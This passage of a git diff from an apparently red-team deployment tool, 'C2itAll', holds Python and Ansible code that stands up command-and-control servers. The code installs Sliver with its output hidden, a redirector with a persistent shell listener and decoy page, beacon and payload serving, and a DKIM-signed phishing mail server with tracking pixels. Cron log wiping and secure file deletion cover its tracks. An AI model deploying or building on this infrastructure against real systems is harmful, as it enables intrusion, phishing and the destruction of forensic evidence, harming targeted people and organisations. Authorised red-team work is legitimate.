input("Enable zero-logs configuration? (Y/n): ").lower() or "y" - config['zero_logs'] = zero_logs.startswith('y') - - # Post-deployment options - print("\n=== Post-Deployment Options ===") - ssh_after_deploy = input("SSH into instance after deployment? (y/N): ").lower() - config['ssh_after_deploy'] = ssh_after_deploy.startswith('y') - - run_tests = input("Run connectivity tests after deployment? (y/N): ").lower() - config['run_tests'] = run_tests.startswith('y') - - # Tracker module deployment - print("\n=== Tracker Module ===") - deploy_tracker = input("Deploy tracker module alongside C2 infrastructure? (y/N): ").lower() - config['deploy_tracker'] = deploy_tracker.startswith('y') - - if config['deploy_tracker']: - # Additional tracker configuration - print("\n=== Tracker Configuration ===") - config['tracker_domain'] = input("Domain for tracker (leave empty to use server IP): ") - - if config['tracker_domain']: - config['tracker_email'] = input(f"Email for tracker Let's Encrypt certificate: ") or config['letsencrypt_email'] - - setup_ssl = input("Set up SSL for tracker? (Y/n): ").lower() or "y" - config['tracker_setup_ssl'] = setup_ssl.startswith('y') - - config['tracker_name'] = input("Tracker engagement name (leave empty for random): ") - config['tracker_ipinfo_token'] = input("IPinfo API token for geolocation (optional): ") - - create_pixel = input("Create email tracking pixel? (Y/n): ").lower() or "y" - config['tracker_create_pixel'] = create_pixel.startswith('y') - - return config - -def cleanup_sensitive_files(config): - """Clean up sensitive files after deployment for better OPSEC""" - print("\n[+] Starting cleanup of sensitive files...") - - # Files to potentially clean up (prompt user first) - sensitive_files = [] - - # Add config file - if os.path.exists('config.yml'): - sensitive_files.append('config.yml') - print(f"[+] Found sensitive file: config.yml") - - # Add log files - be more specific about deployment logs - log_patterns = ['deployment_*.log', 'deployment_*_linode.log', 'deployment_*_aws.log'] - log_count = 0 - - # Search in current directory - for pattern in log_patterns: - for f in glob.glob(pattern): - sensitive_files.append(f) - print(f"[+] Found sensitive log file: {f}") - log_count += 1 - - # Also check the logs directory if it exists - log_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "logs") - if os.path.exists(log_dir): - for pattern in log_patterns: - for f in glob.glob(os.path.join(log_dir, pattern)): - sensitive_files.append(f) - print(f"[+] Found sensitive log file in logs directory: {f}") - log_count += 1 - - print(f"[+] Found {log_count} deployment log files") - - # Add inventory files - inventory_count = 0 - for f in glob.glob('inventory_*.yml'): - sensitive_files.append(f) - print(f"[+] Found sensitive inventory file: {f}") - inventory_count += 1 - - print(f"[+] Found {inventory_count} inventory files") - - # If there are sensitive files and user wants to clean up - if sensitive_files: - print("\n[!] The following sensitive files remain from deployment:") - for f in sensitive_files: - print(f" - {f}") - - cleanup = input("\n[?] Would you like to securely delete these files? (y/N): ").lower() - if cleanup.startswith('y'): - for f in sensitive_files: - try: - print(f"[+] Securely deleting: {f}") - # Secure overwrite then delete - with open(f, 'wb') as file: - # Overwrite with random data 3 times - for i in range(3): - file_size = os.path.getsize(f) - file.write(os.urandom(file_size)) - file.flush() - os.fsync(file.fileno()) - print(f"[+] Completed overwrite pass {i+1}/3") - - # Finally remove - os.remove(f) - print(f"[+] Successfully deleted: {f}") - except Exception as e: - print(f"[!] Error deleting {f}: {e}") - else: - print("[+] No sensitive files found to clean up") - - # Remind about SSH keys - if config.get('ssh_key') and os.path.exists(os.path.expanduser(config['ssh_key'])): - ssh_key = os.path.expanduser(config['ssh_key']) - print(f"\n[!] Remember to secure or remove your SSH key after use: {ssh_key}") - secure_key = input("[?] Would you like to secure this SSH key now? (y/N): ").lower() - if secure_key.startswith('y'): - try: - # Rename the SSH key with random suffix - key_dir = os.path.dirname(ssh_key) - key_base = os.path.basename(ssh_key) - timestamp = datetime.now().strftime('%Y%m%d%H%M%S') - new_key_path = os.path.join(key_dir, f"{key_base}.{timestamp}.bak") - - print(f"[+] Renaming SSH key to: {new_key_path}") - - # Move the key and public key - shutil.move(ssh_key, new_key_path) - if os.path.exists(f"{ssh_key}.pub"): - shutil.move(f"{ssh_key}.pub", f"{new_key_path}.pub") - print(f"[+] Also renamed public key") - - # Set permissions - os.chmod(new_key_path, 0o400) # Read-only by owner - if os.path.exists(f"{new_key_path}.pub"): - os.chmod(f"{new_key_path}.pub", 0o400) - - print(f"[+] SSH key secured and renamed to: {new_key_path}") - print(f"[+] This key is now read-only (mode 0400)") - except Exception as e: - print(f"[!] Error securing SSH key: {e}") - - return True - -def save_config(config): - """Save configuration to config.yml file and create detailed deployment log""" - # Make a copy to avoid modifying the original - config_to_save = config.copy() - - # Remove ALL sensitive data before saving - sensitive_keys = [ - 'aws_key', 'aws_secret', 'linode_token', - 'smtp_auth_pass', 'ssh_key_content', - 'flokinet_redirector_ip', 'flokinet_c2_ip', - 'c2_ip', 'redirector_ip' - ] - - for key in sensitive_keys: - if key in config_to_save: - # Replace with asterisks, preserving first 2 chars for reference - value = config_to_save[key] - if isinstance(value, str) and len(value) > 4: - config_to_save[key] = f"{value[:2]}{'*' * (len(value) - 2)}" - else: - config_to_save[key] = '***' - - # Use a more secure way to write sensitive files - # Ensure the file doesn't exist first to prevent race conditions - if os.path.exists('config.yml'): - # Instead of removing, just open in write mode to overwrite - pass - - # Create with restricted permissions - with open('config.yml', 'w') as f: - os.chmod('config.yml', 0o600) # Readable only by owner - yaml.dump(config_to_save, f, default_flow_style=False) - - print(f"[+] Configuration saved to config.yml (mode 0600)") - - # Create deployment log with timestamp but with minimal sensitive info - log_file = f"deployment_{datetime.now().strftime('%Y%m%d_%H%M%S')}.log" - - # Create with restricted permissions - with open(log_file, 'w') as f: - os.chmod(log_file, 0o600) # Readable only by owner - - f.write(f"# C2itAll Deployment Log\n") - f.write(f"# Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n\n") - - # Log general info - f.write(f"Provider: {config['provider']}\n") - - # Log SSH key information - f.write(f"SSH Key: {config.get('ssh_key', 'Not specified')}\n") - if 'ssh_key_name' in config: - f.write(f"SSH Key Name: {config['ssh_key_name']}\n") - - # Log custom SSH port if used - if config.get('ssh_port') and config.get('ssh_port') != 22: - f.write(f"SSH Port: {config['ssh_port']}\n") - - # Log provider-specific info without exposing sensitive details - if config['provider'] == 'aws': - f.write(f"AWS Region: {config.get('aws_region', 'random')}\n") - f.write(f"Instance Type: {config.get('size', 'default')}\n") - f.write(f"Redirector Name: {config.get('redirector_name', 'Not specified')}\n") - f.write(f"C2 Name: {config.get('c2_name', 'Not specified')}\n") - elif config['provider'] == 'linode': - f.write(f"Linode Region: {config.get('linode_region', 'random')}\n") - f.write(f"Plan: {config.get('plan', 'default')}\n") - f.write(f"Redirector Name: {config.get('redirector_name', 'Not specified')}\n") - f.write(f"C2 Name: {config.get('c2_name', 'Not specified')}\n") - elif config['provider'] == 'flokinet': - # IPs are sensitive for FlokiNET, only log region - f.write(f"FlokiNET Region: {config.get('region', 'anonymous')}\n") - # Note that we're not logging IPs directly - - # Log domain info if provided - if config.get('domain'): - f.write(f"Domain: {config['domain']}\n") - if not config.get('c2_only'): - f.write(f"Redirector Domain: cdn.{config['domain']}\n") - if not config.get('redirector_only'): - f.write(f"C2 Domain: mail.{config['domain']}\n") - - # Log gophish admin port - if config.get('gophish_admin_port'): - f.write(f"GoPhish Admin Port: {config['gophish_admin_port']}\n") - - # Log SMTP auth user - if config.get('smtp_auth_user'): - f.write(f"SMTP Auth User: {config['smtp_auth_user']}\n") - - # Log OPSEC settings - f.write(f"\nOPSEC Settings:\n") - f.write(f"- Zero-logs: {'Enabled' if config.get('zero_logs') else 'Disabled'}\n") - f.write(f"- Secure memory: {'Enabled' if config.get('secure_memory') else 'Disabled'}\n") - f.write(f"- History disabled: {'Yes' if config.get('disable_history') else 'No'}\n") - f.write(f"- Non-standard SSH port: {config.get('ssh_port', 'Default')}\n") - - # Log tracker module info if deployed - if config.get('deploy_tracker'): - f.write(f"\nTracker Module:\n") - f.write(f"- Tracker Domain: {config.get('tracker_domain', 'IP-based')}\n") - f.write(f"- Engagement Name: {config.get('tracker_name', 'Auto-generated')}\n") - f.write(f"- Email Pixel: {'Enabled' if config.get('tracker_create_pixel') else 'Disabled'}\n") - - print(f"[+] Deployment log saved to {log_file} (mode 0600)") - -def show_deployment_summary(config): - """Display a summary of the deployed infrastructure""" - print("\n" + "="*60) - print(" C2itAll Deployment Summary") - print("="*60) - - # Show provider - print(f"Provider: {config['provider']}") - - # Show infrastructure components - if config.get('c2_only'): - print("\nC2 Server:") - print(f" Name: {config.get('c2_name', 'c2')}") - print(f" IP: {config.get('c2_ip', 'Not available')}") - if config.get('domain') != 'example.com': - print(f" Domain: mail.{config['domain']}") - - elif config.get('redirector_only'): - print("\nRedirector:") - print(f" Name: {config.get('redirector_name', 'redirector')}") - print(f" IP: {config.get('redirector_ip', 'Not available')}") - if config.get('domain') != 'example.com': - print(f" Domain: cdn.{config['domain']}") - - else: - print("\nFull Infrastructure:") - print("\n- Redirector:") - print(f" Name: {config.get('redirector_name', 'redirector')}") - print(f" IP: {config.get('redirector_ip', 'Not available')}") - if config.get('domain') != 'example.com': - print(f" Domain: cdn.{config['domain']}") - - print("\n- C2 Server:") - print(f" Name: {config.get('c2_name', 'c2')}") - print(f" IP: {config.get('c2_ip', 'Not available')}") - if config.get('domain') != 'example.com': - print(f" Domain: mail.{config['domain']}") - - # Show SSH connection details - print("\nSSH Access:") - user = config.get('ssh_user', 'root') - - if config.get('redirector_ip') and not config.get('c2_only'): - redirector_key = config.get('redirector_key_path', config.get('ssh_key', 'No key available')) - port = config.get('ssh_port', 22) - print(f" Redirector: ssh -i {redirector_key}{' -p ' + str(port) if port != 22 else ''} {user}@{config.get('redirector_ip')}") - - if config.get('c2_ip') and not config.get('redirector_only'): - c2_key = config.get('c2_key_path', config.get('ssh_key', 'No key available')) - port = config.get('ssh_port', 22) - print(f" C2 Server: ssh -i {c2_key}{' -p ' + str(port) if port != 22 else ''} {user}@{config.get('c2_ip')}") - - # Show domain configuration if used - if config.get('domain') != 'example.com': - print("\nDomain Configuration:") - print(f" Domain: {config['domain']}") - print(" Required DNS Records:") - if not config.get('c2_only'): - print(f" cdn.{config['domain']} -> {config.get('redirector_ip', 'IP_NOT_AVAILABLE')}") - if not config.get('redirector_only'): - print(f" mail.{config['domain']} -> {config.get('c2_ip', 'IP_NOT_AVAILABLE')}") - - # Show tracker details if deployed - if config.get('deploy_tracker'): - print("\nTracker Module:") - print(f" Engagement: {config.get('tracker_name', 'Auto-generated')}") - if config.get('tracker_domain'): - print(f" Domain: {config['tracker_domain']}") - print(f" DNS Record: {config['tracker_domain']} -> {config.get('redirector_ip', config.get('c2_ip', 'IP_NOT_AVAILABLE'))}") - else: - print(f" Access: http://{config.get('redirector_ip', config.get('c2_ip', 'IP_NOT_AVAILABLE'))}") - - if config.get('tracker_create_pixel'): - print(" Email Tracking: Enabled") - hostname = config.get('tracker_domain') or config.get('redirector_ip', config.get('c2_ip', 'IP_NOT_AVAILABLE')) - protocol = "https" if config.get('tracker_setup_ssl') else "http" - print(f" Tracking Pixel: ") - - print("\nFor more details, see deployment log file.") - print("="*60) - -def log_debug_info(command, error, log_file=None): - """Log detailed debug information when a deployment fails""" - timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S') - - # If no log file is specified, create one - if not log_file: - log_file = f"deployment_error_{int(time.time())}.log" - - with open(log_file, 'a') as f: - f.write(f"==== ERROR LOG: {timestamp} ====\n") - f.write(f"COMMAND: {command}\n") - f.write(f"ERROR: {str(error)}\n\n") - - # Try to get additional error information from ansible logs - try: - # Look for ansible log files - ansible_logs = [file for file in os.listdir('/tmp') if 'ansible-' in file and '.log' in file] - if ansible_logs: - f.write("ANSIBLE LOGS:\n") - # Get the most recent ansible log - latest_log = sorted(ansible_logs, key=lambda x: os.path.getmtime(os.path.join('/tmp', x)))[-1] - with open(os.path.join('/tmp', latest_log), 'r') as log: - f.write(log.read()) - except Exception as e: - f.write(f"Failed to retrieve ansible logs: {e}\n") - - f.write("==== END ERROR LOG ====\n\n") - - print(f"[+] Debug information logged to {log_file}") - return log_file + logging.error(f"Failed to remove SSH key: {e}") def main(): - """Main function""" - print("========================================") - print("C2itAll - Red Team Infrastructure Setup") - print("========================================") + """Main function to run the deployment""" + # Set up logging + log_file = setup_logging() - # Set up error logging - error_log_file = setup_error_logging() + # Parse command line arguments + args = parse_arguments() - # Track deployed resources for cleanup on interruption - deployed_instances = [] - generated_ssh_keys = [] + # Override provider if --flokinet is specified + if args.flokinet: + args.provider = "flokinet" + # Load variables from provider-specific vars.yaml + vars_data = load_vars_file(args.provider) + + # Build configuration by combining args and vars_data + config = {} + + # Provider settings + config['provider'] = args.provider + + # AWS settings + if args.provider == "aws": + config['aws_access_key'] = args.aws_key or vars_data.get('aws_access_key') + config['aws_secret_key'] = args.aws_secret or vars_data.get('aws_secret_key') + config['aws_region'] = args.aws_region or args.region + config['aws_region_choices'] = vars_data.get('aws_region_choices', []) + config['ami_map'] = vars_data.get('ami_map', {}) + + # Linode settings + elif args.provider == "linode": + config['linode_token'] = args.linode_token or vars_data.get('linode_token') + config['linode_region'] = args.linode_region or args.region + config['region_choices'] = vars_data.get('region_choices', []) + config['plan'] = vars_data.get('plan', 'g6-standard-1') + config['image'] = vars_data.get('image', 'linode/debian11') + + # FlokiNET settings + elif args.provider == "flokinet": + config['flokinet_redirector_ip'] = args.flokinet_redirector_ip or vars_data.get('redirector_ip') + config['flokinet_c2_ip'] = args.flokinet_c2_ip or vars_data.get('c2_ip') + config['flokinet_region_choices'] = vars_data.get('flokinet_region_choices', []) + config['ssh_port'] = vars_data.get('ssh_port', 22) + + # SSH settings + config['ssh_user'] = args.ssh_user or DEFAULT_SSH_USER.get(args.provider) + if args.ssh_key: + config['ssh_key'] = os.path.expanduser(args.ssh_key) + else: + config['ssh_key'] = generate_ssh_key() + + # Generate random instance names + rand_suffix = generate_random_string() + timestamp = int(time.time()) % 10000 + config['redirector_name'] = args.redirector_name or f"srv-{rand_suffix}-{timestamp}" + config['c2_name'] = args.c2_name or f"node-{rand_suffix}-{timestamp}" + + # Deployment options + config['redirector_only'] = args.redirector_only + config['c2_only'] = args.c2_only + config['debug'] = args.debug + config['domain'] = args.domain or vars_data.get('domain', 'example.com') + config['letsencrypt_email'] = args.letsencrypt_email or vars_data.get('letsencrypt_email', f"admin@{config['domain']}") + + # OPSEC settings + config['disable_history'] = args.disable_history if args.disable_history is not None else vars_data.get('disable_history', True) + config['secure_memory'] = args.secure_memory if args.secure_memory is not None else vars_data.get('secure_memory', True) + config['zero_logs'] = args.zero_logs if args.zero_logs is not None else vars_data.get('zero_logs', True) + + # Other settings from vars_data + config['gophish_admin_port'] = vars_data.get('gophish_admin_port', str(random.randint(2000, 9000))) + config['smtp_auth_user'] = vars_data.get('smtp_auth_user', f"user{random.randint(1000, 9999)}") + config['smtp_auth_pass'] = vars_data.get('smtp_auth_pass', ''.join(random.choices(string.ascii_letters + string.digits, k=20))) + + # Validate deployment mode + if config['redirector_only'] and config['c2_only']: + logging.error("Cannot specify both --redirector-only and --c2-only") + return + + # Log configuration (excluding sensitive data) + logging.info("Deployment configuration:") + for key, value in config.items(): + if key not in ['aws_secret_key', 'linode_token', 'smtp_auth_pass']: + if isinstance(value, (dict, list)): + logging.info(f" {key}: ") + else: + logging.info(f" {key}: {value}") + + # Run deployment try: - args = setup_argparse() + success = deploy_infrastructure(config) - # Interactive mode if no arguments provided - if len(sys.argv) == 1: - config = interactive_config() - else: - config = load_config(args) - - # Normalize provider name to proper capitalization - config['provider'] = normalize_provider_name(config['provider']) - - # Validate configuration - if not validate_config(config): - return - - # Select region - select_region(config) - - # Ensure provider files exist - if not ensure_provider_files_exist(config): - proceed = input("\n[?] Continue despite missing files? (y/N): ").lower() - if not proceed.startswith('y'): - print("[-] Deployment aborted.") - return - - # Save configuration - save_config(config) - - # Keep track of any generated SSH keys - if config.get('ssh_key') and config['ssh_key'].startswith(os.path.expanduser("~/.ssh/c2itall_")): - generated_ssh_keys.append(config['ssh_key']) - - # Track deployment logs - deployment_logs = [] - - # Deploy infrastructure based on provider - success = False - - try: - if config['provider'].lower() == 'aws': - # Verify SSH key permissions before deployment - if config.get('ssh_key'): - verify_key_file_permissions(os.path.expanduser(config['ssh_key'])) - - success, logs, aws_resources = deploy_with_error_handling(deploy_aws, config) - deployment_logs.extend(logs) - deployed_instances.extend(aws_resources) - - elif config['provider'].lower() == 'linode': - # Verify SSH key permissions before deployment - if config.get('ssh_key'): - verify_key_file_permissions(os.path.expanduser(config['ssh_key'])) - - success, logs, linode_resources = deploy_with_error_handling(deploy_linode, config) - deployment_logs.extend(logs) - deployed_instances.extend(linode_resources) - - elif config['provider'].lower() == 'flokinet': - success, logs, flokinet_resources = deploy_with_error_handling(deploy_flokinet, config) - deployment_logs.extend(logs) - deployed_instances.extend(flokinet_resources) - - else: - print(f"[-] Error: Unsupported provider: {config['provider']}") - return - - except Exception as e: - error_log = log_debug_info("Unexpected error", e, error_log_file) - if error_log: - deployment_logs.append(error_log) - - print(f"[-] Unexpected error during deployment: {e}") - print(f"[+] See {error_log_file} for detailed error information") - success = False - - # Show result and handle cleanup if success: - print("\n[+] Deployment completed successfully!") - show_deployment_summary(config) + logging.info("Deployment completed successfully!") - # Only SSH if deployment was successful and user requested it - if config.get('ssh_after_deploy'): - print("\n[+] Preparing to SSH into C2 server...") - ssh_to_c2(config) + # SSH into instance if requested + if args.ssh_after_deploy: + ssh_to_instance(config) else: - print("\n[-] Deployment failed.") - if error_log_file: - print(f"[+] Check {error_log_file} for detailed error information") - - # Add all discovered logs to the config - config['deployment_logs'] = deployment_logs - - # Always ask if user wants to clean up sensitive files - cleanup_option = "y/N" if not success else "Y/n" - cleanup_default = "n" if not success else "y" - - cleanup = input(f"\n[?] Would you like to clean up sensitive files{' despite deployment failure' if not success else ''}? ({cleanup_option}): ").lower() or cleanup_default - - if cleanup.startswith('y'): - cleanup_sensitive_files(config) - + logging.error("Deployment failed!") + cleanup_resources(config) except KeyboardInterrupt: - print("\n\n[!] Deployment interrupted by user (Ctrl+C).") - - if deployed_instances: - print(f"[!] The following resources were deployed:") - for instance in deployed_instances: - if isinstance(instance, tuple) and len(instance) >= 2: - print(f" - {instance[0]} (ID: {instance[1]})") - else: - print(f" - {instance}") - - cleanup = input("\n[?] Would you like to clean up deployed resources before exiting? (Y/n): ").lower() or "y" - - if cleanup.startswith('y'): - cleanup_interrupted_deployment(config['provider'], deployed_instances, generated_ssh_keys) - else: - print("[!] Deployed resources will remain active. You will need to clean them up manually.") - - print("[+] Exiting...") - sys.exit(1) + logging.info("Deployment interrupted by user") + cleanup_resources(config) + except Exception as e: + logging.error(f"Deployment failed with error: {e}") + if config.get('debug'): + import traceback + logging.debug(traceback.format_exc()) + cleanup_resources(config) if __name__ == "__main__": main() \ No newline at end of file diff --git a/tasks/configure-c2.yml b/tasks/configure-c2.yml new file mode 100644 index 0000000..fb55c40 --- /dev/null +++ b/tasks/configure-c2.yml @@ -0,0 +1,136 @@ +--- +# Common task for configuring C2 server +# Shared across all providers + +- name: Update apt cache + apt: + update_cache: yes + +- name: Set a custom MOTD + template: + src: "motd.j2" + dest: /etc/motd + owner: root + group: root + mode: '0644' + +- name: Install base utilities and tools via apt + apt: + name: + - git + - wget + - curl + - unzip + - python3-pip + - python3-venv + - tmux + - pipx + - nmap + - tcpdump + - hydra + - john + - hashcat + - sqlmap + - gobuster + - dirb + - enum4linux + - dnsenum + - seclists + - responder + - golang + - proxychains + - tor + - crackmapexec + - jq + - unzip + - postfix + - certbot + - opendkim + - opendkim-tools + - dovecot-core + - dovecot-imapd + - dovecot-pop3d + - dovecot-sieve + - dovecot-managesieved + - yq + state: present + +- name: Copy operational scripts + copy: + src: "{{ item }}" + dest: "/opt/c2/{{ item }}" + mode: '0700' + owner: root + group: root + with_items: + - clean-logs.sh + - secure-exit.sh + - serve-beacons.sh + +- name: Create operational directories + file: + path: "{{ item }}" + state: directory + mode: '0700' + owner: root + group: root + with_items: + - /opt/c2 + - /opt/beacons + - /opt/payloads + +- name: Create Sliver service file + copy: + content: | + [Unit] + Description=Sliver C2 Server + After=network.target + + [Service] + Type=simple + User=root + Group=root + WorkingDirectory=/root/.sliver + ExecStart=/usr/local/bin/sliver-server daemon + Restart=always + RestartSec=10 + + # Security measures + PrivateTmp=true + ProtectHome=false + NoNewPrivileges=true + + # Hide process information + StandardOutput=null + StandardError=null + + [Install] + WantedBy=multi-user.target + dest: /etc/systemd/system/sliver.service + mode: '0644' + owner: root + group: root + +- name: Set up cron job for log cleaning if zero-logs enabled + cron: + name: "Clean logs" + minute: "0" + hour: "*/6" + job: "/opt/c2/clean-logs.sh > /dev/null 2>&1" + when: zero_logs | bool + +- name: Install Let's Encrypt certificate if domain specified + shell: | + certbot certonly --standalone -d {{ c2_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }} + args: + creates: /etc/letsencrypt/live/{{ c2_subdomain }}.{{ domain }}/fullchain.pem + when: domain != "example.com" + +- name: Configure and start beacon server + shell: | + sed -i "s/C2_HOST=.*/C2_HOST=\"{{ ansible_host }}\"/g" /opt/c2/serve-beacons.sh + chmod +x /opt/c2/serve-beacons.sh + # Check if beacon server is already running + if ! pgrep -f "/opt/c2/serve-beacons.sh" > /dev/null; then + nohup /opt/c2/serve-beacons.sh > /dev/null 2>&1 & + fi \ No newline at end of file diff --git a/tasks/configure_mail.yml b/tasks/configure_mail.yml new file mode 100644 index 0000000..280ae92 --- /dev/null +++ b/tasks/configure_mail.yml @@ -0,0 +1,170 @@ +--- +# Common task for configuring mail server +# Shared across all providers + +- name: Configure Postfix main.cf + lineinfile: + path: /etc/postfix/main.cf + regexp: "{{ item.regexp }}" + line: "{{ item.line }}" + with_items: + - { regexp: '^myhostname', line: "myhostname = mail.{{ domain }}" } + - { regexp: '^mydomain', line: "mydomain = {{ domain }}" } + - { regexp: '^myorigin', line: "myorigin = $mydomain" } + - { regexp: '^inet_interfaces', line: "inet_interfaces = all" } + - { regexp: '^inet_protocols', line: "inet_protocols = ipv4" } + - { regexp: '^smtpd_banner', line: "smtpd_banner = $myhostname ESMTP $mail_name" } + - { regexp: '^mynetworks', line: "mynetworks = 127.0.0.0/8 [::1]/128" } + - { regexp: '^relay_domains', line: "relay_domains = $mydestination" } + - { regexp: '^smtpd_tls_cert_file', line: "smtpd_tls_cert_file = /etc/letsencrypt/live/{{ domain }}/fullchain.pem" } + - { regexp: '^smtpd_tls_key_file', line: "smtpd_tls_key_file = /etc/letsencrypt/live/{{ domain }}/privkey.pem" } + - { regexp: '^smtpd_tls_security_level', line: "smtpd_tls_security_level = encrypt" } + - { regexp: '^smtpd_tls_session_cache_database', line: "smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache" } + - { regexp: '^smtp_tls_session_cache_database', line: "smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache" } + - { regexp: '^smtpd_use_tls', line: "smtpd_use_tls = yes" } + - { regexp: '^smtpd_tls_auth_only', line: "smtpd_tls_auth_only = yes" } + - { regexp: '^milter_default_action', line: "milter_default_action = accept" } + - { regexp: '^milter_protocol', line: "milter_protocol = 6" } + - { regexp: '^smtpd_milters', line: "smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" } + - { regexp: '^non_smtpd_milters', line: "non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" } + +- name: Configure OpenDKIM + lineinfile: + path: /etc/opendkim.conf + regexp: "{{ item.regexp }}" + line: "{{ item.line }}" + with_items: + - { regexp: '^Domain', line: "Domain {{ domain }}" } + - { regexp: '^KeyFile', line: "KeyFile /etc/opendkim/keys/{{ domain }}/mail.private" } + - { regexp: '^Selector', line: "Selector mail" } + - { regexp: '^Socket', line: "Socket local:/var/spool/postfix/opendkim/opendkim.sock" } + - { regexp: '^Syslog', line: "Syslog yes" } + - { regexp: '^UMask', line: "UMask 002" } + - { regexp: '^Mode', line: "Mode sv" } + +- name: Create DKIM directory + file: + path: /etc/opendkim/keys/{{ domain }} + state: directory + owner: opendkim + group: opendkim + mode: 0700 + +- name: Generate DKIM keys + command: > + opendkim-genkey -D /etc/opendkim/keys/{{ domain }} -d {{ domain }} -s mail + args: + creates: /etc/opendkim/keys/{{ domain }}/mail.private + +- name: Set permissions for DKIM keys + file: + path: /etc/opendkim/keys/{{ domain }}/mail.private + owner: opendkim + group: opendkim + mode: 0600 + +- name: Configure OpenDKIM TrustedHosts + copy: + content: | + 127.0.0.1 + ::1 + localhost + {{ domain }} + dest: /etc/opendkim/TrustedHosts + owner: opendkim + group: opendkim + mode: 0644 + +- name: Enable submission port (587) in master.cf + blockinfile: + path: /etc/postfix/master.cf + insertafter: '^#submission' + block: | + submission inet n - y - - smtpd + -o syslog_name=postfix/submission + -o smtpd_tls_security_level=encrypt + -o smtpd_sasl_auth_enable=yes + -o smtpd_recipient_restrictions=permit_sasl_authenticated,reject + -o smtpd_relay_restrictions=permit_sasl_authenticated,reject + +- name: Configure Dovecot for Postfix SASL + blockinfile: + path: /etc/dovecot/conf.d/10-master.conf + insertafter: '^service auth {' + block: | + # Postfix smtp-auth + unix_listener /var/spool/postfix/private/auth { + mode = 0660 + user = postfix + group = postfix + } + +- name: Set Dovecot auth_mechanisms + lineinfile: + path: /etc/dovecot/conf.d/10-auth.conf + regexp: '^auth_mechanisms' + line: 'auth_mechanisms = plain login' + +- name: Create Dovecot password file for SASL authentication + file: + path: /etc/dovecot/passwd + state: touch + mode: '0600' + owner: dovecot + group: dovecot + +- name: Add SMTP auth user to Dovecot + lineinfile: + path: /etc/dovecot/passwd + line: "{{ smtp_auth_user }}:{{ smtp_auth_pass | password_hash('sha512_crypt') }}" + +- name: Disable system auth and use passwd-file + lineinfile: + path: /etc/dovecot/conf.d/10-auth.conf + regexp: '^!include auth-system.conf.ext' + line: '#!include auth-system.conf.ext' + +- name: Add auth-passwdfile configuration + blockinfile: + path: /etc/dovecot/conf.d/10-auth.conf + insertafter: '^auth_mechanisms =' + block: | + passdb { + driver = passwd-file + args = scheme=sha512_crypt /etc/dovecot/passwd + } + userdb { + driver = static + args = uid=vmail gid=vmail home=/var/vmail/%u + } + +- name: Create vmail group + group: + name: vmail + gid: 5000 + state: present + +- name: Create vmail user + user: + name: vmail + uid: 5000 + group: vmail + create_home: no + +- name: Create vmail directory structure + file: + path: /var/vmail + state: directory + owner: vmail + group: vmail + mode: 0700 + +- name: Restart Postfix + service: + name: postfix + state: restarted + +- name: Restart Dovecot + service: + name: dovecot + state: restarted \ No newline at end of file diff --git a/tasks/configure_redirector.yml b/tasks/configure_redirector.yml new file mode 100644 index 0000000..fd5d365 --- /dev/null +++ b/tasks/configure_redirector.yml @@ -0,0 +1,114 @@ +--- +# Common task for configuring redirector +# Shared across all providers + +- name: Install required packages for redirector + apt: + name: + - nginx + - certbot + - python3-certbot-nginx + - socat + - netcat-openbsd + - secure-delete + state: present + update_cache: yes + +- name: Create directories for operational scripts + file: + path: "{{ item }}" + state: directory + mode: '0700' + owner: root + group: root + with_items: + - /opt/c2 + - /opt/shell-handler + +- name: Copy clean-logs.sh script + copy: + src: "clean-logs.sh" + dest: /opt/c2/clean-logs.sh + mode: '0700' + owner: root + group: root + +- name: Copy shell handler script + copy: + src: "persistent-listener.sh" + dest: /opt/shell-handler/persistent-listener.sh + mode: '0700' + owner: root + group: root + +- name: Configure shell handler script with C2 IP + replace: + path: /opt/shell-handler/persistent-listener.sh + regexp: 'C2_HOST="127.0.0.1"' + replace: 'C2_HOST="{{ c2_ip }}"' + +- name: Configure shell handler script with listening port + replace: + path: /opt/shell-handler/persistent-listener.sh + regexp: 'LISTEN_PORT=4444' + replace: 'LISTEN_PORT={{ shell_handler_port }}' + +- name: Create shell handler service + template: + src: "shell-handler.service.j2" + dest: /etc/systemd/system/shell-handler.service + mode: '0644' + owner: root + group: root + +- name: Configure NGINX for zero-logging if enabled + template: + src: "nginx.conf.j2" + dest: /etc/nginx/nginx.conf + mode: '0644' + owner: root + group: root + when: zero_logs | bool + +- name: Configure NGINX for C2 redirection + template: + src: "redirector-site.conf.j2" + dest: /etc/nginx/sites-available/default + mode: '0644' + owner: root + group: root + +- name: Create legitimate-looking index.html + template: + src: "redirector-index.html.j2" + dest: /var/www/html/index.html + mode: '0644' + owner: www-data + group: www-data + +- name: Start and enable shell handler service + systemd: + name: shell-handler + state: started + enabled: yes + daemon_reload: yes + +- name: Set up cron job for log cleaning if zero-logs enabled + cron: + name: "Clean logs" + minute: "0" + hour: "*/6" + job: "/opt/c2/clean-logs.sh > /dev/null 2>&1" + when: zero_logs | bool + +- name: Install Let's Encrypt certificate if domain specified + shell: | + certbot --nginx -d {{ redirector_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }} + args: + creates: /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem + when: domain != "example.com" + +- name: Restart NGINX + systemd: + name: nginx + state: restarted \ No newline at end of file diff --git a/tasks/install_tools.yml b/tasks/install_tools.yml new file mode 100644 index 0000000..370418f --- /dev/null +++ b/tasks/install_tools.yml @@ -0,0 +1,110 @@ +--- +# Common task for installing offensive security tools +# Shared across all providers + +- name: Create Tools directory + file: + path: /home/{{ ansible_user }}/Tools + state: directory + owner: "{{ ansible_user }}" + group: "{{ ansible_user }}" + mode: '0755' + +- name: Ensure pipx path is configured + shell: | + pipx ensurepath + become: true + args: + executable: /bin/bash + +- name: Install tools via pipx + shell: | + export PATH=$PATH:/root/.local/bin + pipx ensurepath + pipx install git+https://github.com/Pennyw0rth/NetExec + pipx install git+https://github.com/blacklanternsecurity/TREVORspray + pipx install impacket + become: true + args: + executable: /bin/bash + +- name: Download Kerbrute + shell: | + mkdir -p /home/{{ ansible_user }}/Tools/Kerbrute + wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O 